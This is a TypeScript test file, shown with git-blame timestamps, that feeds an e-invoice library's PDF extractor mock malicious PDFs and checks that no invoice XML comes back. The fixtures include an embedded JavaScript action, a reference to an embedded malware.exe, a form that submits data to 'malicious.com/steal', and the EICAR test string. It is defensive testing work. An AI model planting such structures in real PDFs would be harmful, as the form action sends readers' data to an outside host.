einvoice/test/suite/einvoice_security/test.sec-03.pdf-malware.ts

242 lines
7.5 KiB
TypeScript
Raw Normal View History

2025-05-29 13:35:36 +00:00
import { tap, expect } from '@git.zone/tstest/tapbundle';
2025-05-25 19:45:37 +00:00
import * as plugins from '../plugins.js';
2025-05-29 13:35:36 +00:00
import { PDFExtractor } from '../../../ts/index.js';
2025-05-25 19:45:37 +00:00
import { PerformanceTracker } from '../performance.tracker.js';
const performanceTracker = new PerformanceTracker('SEC-03: PDF Malware Detection');
2025-05-29 13:35:36 +00:00
tap.test('SEC-03: PDF Malware Detection - should detect and prevent malicious PDFs', async () => {
// Test 1: Test PDF extraction with potentially malicious content
2025-05-25 19:45:37 +00:00
const javascriptDetection = await performanceTracker.measureAsync(
2025-05-29 13:35:36 +00:00
'javascript-in-pdf-extraction',
2025-05-25 19:45:37 +00:00
async () => {
// Create a mock PDF with JavaScript content
const pdfWithJS = createMockPDFWithContent('/JS (alert("malicious"))');
try {
2025-05-29 13:35:36 +00:00
const extractor = new PDFExtractor();
const result = await extractor.extractXml(pdfWithJS);
2025-05-25 19:45:37 +00:00
2025-05-29 13:35:36 +00:00
// If extraction succeeds, check if any XML was found
2025-05-25 19:45:37 +00:00
return {
2025-05-29 13:35:36 +00:00
extracted: result.success,
xmlFound: !!(result.xml && result.xml.length > 0),
2025-05-25 19:45:37 +00:00
threat: 'javascript'
};
} catch (error) {
2025-05-29 13:35:36 +00:00
// If it throws, that's expected for malicious content
2025-05-25 19:45:37 +00:00
return {
2025-05-29 13:35:36 +00:00
extracted: false,
xmlFound: false,
2025-05-25 19:45:37 +00:00
threat: 'javascript',
error: error.message
};
}
}
);
2025-05-29 13:35:36 +00:00
console.log('JavaScript detection result:', javascriptDetection);
// PDFs with JavaScript might still be processed, but shouldn't contain invoice XML
expect(javascriptDetection.xmlFound).toEqual(false);
2025-05-25 19:45:37 +00:00
2025-05-29 13:35:36 +00:00
// Test 2: Test with embedded executable references
2025-05-25 19:45:37 +00:00
const embeddedExecutable = await performanceTracker.measureAsync(
'embedded-executable-detection',
async () => {
2025-05-29 13:35:36 +00:00
// Create a mock PDF with embedded EXE reference
2025-05-25 19:45:37 +00:00
const pdfWithExe = createMockPDFWithContent(
'/EmbeddedFiles <</Names [(malware.exe) <</Type /Filespec /F (malware.exe) /EF <</F 123 0 R>>>>]>>'
);
try {
2025-05-29 13:35:36 +00:00
const extractor = new PDFExtractor();
const result = await extractor.extractXml(pdfWithExe);
2025-05-25 19:45:37 +00:00
return {
2025-05-29 13:35:36 +00:00
extracted: result.success,
xmlFound: !!(result.xml && result.xml.length > 0),
2025-05-25 19:45:37 +00:00
threat: 'executable'
};
} catch (error) {
return {
2025-05-29 13:35:36 +00:00
extracted: false,
xmlFound: false,
2025-05-25 19:45:37 +00:00
threat: 'executable',
error: error.message
};
}
}
);
2025-05-29 13:35:36 +00:00
console.log('Embedded executable result:', embeddedExecutable);
expect(embeddedExecutable.xmlFound).toEqual(false);
2025-05-25 19:45:37 +00:00
2025-05-29 13:35:36 +00:00
// Test 3: Test with suspicious form actions
2025-05-25 19:45:37 +00:00
const suspiciousFormActions = await performanceTracker.measureAsync(
'suspicious-form-actions',
async () => {
// Create a mock PDF with form that submits to external URL
const pdfWithForm = createMockPDFWithContent(
'/AcroForm <</Fields [<</Type /Annot /Subtype /Widget /A <</S /SubmitForm /F (http://malicious.com/steal)>>>>]>>'
);
try {
2025-05-29 13:35:36 +00:00
const extractor = new PDFExtractor();
const result = await extractor.extractXml(pdfWithForm);
2025-05-25 19:45:37 +00:00
return {
2025-05-29 13:35:36 +00:00
extracted: result.success,
xmlFound: !!(result.xml && result.xml.length > 0),
2025-05-25 19:45:37 +00:00
threat: 'form-action'
};
} catch (error) {
return {
2025-05-29 13:35:36 +00:00
extracted: false,
xmlFound: false,
2025-05-25 19:45:37 +00:00
threat: 'form-action',
error: error.message
};
}
}
);
2025-05-29 13:35:36 +00:00
console.log('Form actions result:', suspiciousFormActions);
expect(suspiciousFormActions.xmlFound).toEqual(false);
2025-05-25 19:45:37 +00:00
2025-05-29 13:35:36 +00:00
// Test 4: Test with malformed PDF structure
const malformedPDF = await performanceTracker.measureAsync(
'malformed-pdf-handling',
2025-05-25 19:45:37 +00:00
async () => {
2025-05-29 13:35:36 +00:00
// Create a malformed PDF
const badPDF = Buffer.from('Not a valid PDF content');
2025-05-25 19:45:37 +00:00
try {
2025-05-29 13:35:36 +00:00
const extractor = new PDFExtractor();
const result = await extractor.extractXml(badPDF);
2025-05-25 19:45:37 +00:00
return {
2025-05-29 13:35:36 +00:00
extracted: result.success,
xmlFound: !!(result.xml && result.xml.length > 0),
error: null
2025-05-25 19:45:37 +00:00
};
} catch (error) {
return {
2025-05-29 13:35:36 +00:00
extracted: false,
xmlFound: false,
2025-05-25 19:45:37 +00:00
error: error.message
};
}
}
);
2025-05-29 13:35:36 +00:00
console.log('Malformed PDF result:', malformedPDF);
expect(malformedPDF.extracted).toEqual(false);
2025-05-25 19:45:37 +00:00
2025-05-29 13:35:36 +00:00
// Test 5: Test with extremely large mock PDF
const largePDFTest = await performanceTracker.measureAsync(
'large-pdf-handling',
2025-05-25 19:45:37 +00:00
async () => {
2025-05-29 13:35:36 +00:00
// Create a PDF with lots of repeated content
const largeContent = '/Pages '.repeat(10000);
const largePDF = createMockPDFWithContent(largeContent);
2025-05-25 19:45:37 +00:00
try {
2025-05-29 13:35:36 +00:00
const extractor = new PDFExtractor();
const result = await extractor.extractXml(largePDF);
2025-05-25 19:45:37 +00:00
return {
2025-05-29 13:35:36 +00:00
extracted: result.success,
xmlFound: !!(result.xml && result.xml.length > 0),
size: largePDF.length
2025-05-25 19:45:37 +00:00
};
} catch (error) {
return {
2025-05-29 13:35:36 +00:00
extracted: false,
xmlFound: false,
size: largePDF.length,
2025-05-25 19:45:37 +00:00
error: error.message
};
}
}
);
2025-05-29 13:35:36 +00:00
console.log('Large PDF result:', largePDFTest);
// Large PDFs might fail or succeed, but shouldn't contain valid invoice XML
expect(largePDFTest.xmlFound).toEqual(false);
2025-05-25 19:45:37 +00:00
2025-05-29 13:35:36 +00:00
// Test 6: Test EICAR pattern in PDF
2025-05-25 19:45:37 +00:00
const eicarTest = await performanceTracker.measureAsync(
2025-05-29 13:35:36 +00:00
'eicar-test-pattern',
2025-05-25 19:45:37 +00:00
async () => {
// EICAR test string (safe test pattern for antivirus)
const eicarString = 'X5O!P%@AP[4\\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*';
const pdfWithEicar = createMockPDFWithContent(
`/EmbeddedFiles <</Names [(test.txt) <</Type /Filespec /EF <</F <</Length ${eicarString.length}>>${eicarString}>>>>]>>`
);
try {
2025-05-29 13:35:36 +00:00
const extractor = new PDFExtractor();
const result = await extractor.extractXml(pdfWithEicar);
2025-05-25 19:45:37 +00:00
return {
2025-05-29 13:35:36 +00:00
extracted: result.success,
xmlFound: !!(result.xml && result.xml.length > 0),
2025-05-25 19:45:37 +00:00
threat: 'eicar-test'
};
} catch (error) {
return {
2025-05-29 13:35:36 +00:00
extracted: false,
xmlFound: false,
2025-05-25 19:45:37 +00:00
threat: 'eicar-test',
error: error.message
};
}
}
);
2025-05-29 13:35:36 +00:00
console.log('EICAR test result:', eicarTest);
expect(eicarTest.xmlFound).toEqual(false);
2025-05-25 19:45:37 +00:00
2025-05-29 13:35:36 +00:00
// Test 7: Test empty PDF
const emptyPDFTest = await performanceTracker.measureAsync(
'empty-pdf-handling',
2025-05-25 19:45:37 +00:00
async () => {
2025-05-29 13:35:36 +00:00
const emptyPDF = Buffer.from('');
2025-05-25 19:45:37 +00:00
try {
2025-05-29 13:35:36 +00:00
const extractor = new PDFExtractor();
const result = await extractor.extractXml(emptyPDF);
2025-05-25 19:45:37 +00:00
return {
2025-05-29 13:35:36 +00:00
extracted: result.success,
xmlFound: !!(result.xml && result.xml.length > 0)
2025-05-25 19:45:37 +00:00
};
} catch (error) {
return {
2025-05-29 13:35:36 +00:00
extracted: false,
xmlFound: false,
2025-05-25 19:45:37 +00:00
error: error.message
};
}
}
);
2025-05-29 13:35:36 +00:00
console.log('Empty PDF result:', emptyPDFTest);
expect(emptyPDFTest.extracted).toEqual(false);
2025-05-25 19:45:37 +00:00
2025-05-29 13:35:36 +00:00
// Performance tracking complete - summary is tracked in the static PerformanceTracker
2025-05-25 19:45:37 +00:00
});
// Helper function to create mock PDF content
function createMockPDFWithContent(content: string): Buffer {
const pdfHeader = '%PDF-1.4\n';
const pdfContent = `1 0 obj\n<<${content}>>\nendobj\n`;
const xref = `xref\n0 2\n0000000000 65535 f\n0000000015 00000 n\n`;
const trailer = `trailer\n<</Size 2 /Root 1 0 R>>\n`;
const eof = `startxref\n${pdfHeader.length + pdfContent.length}\n%%EOF`;
return Buffer.from(pdfHeader + pdfContent + xref + trailer + eof);
}
// Run the test
tap.start();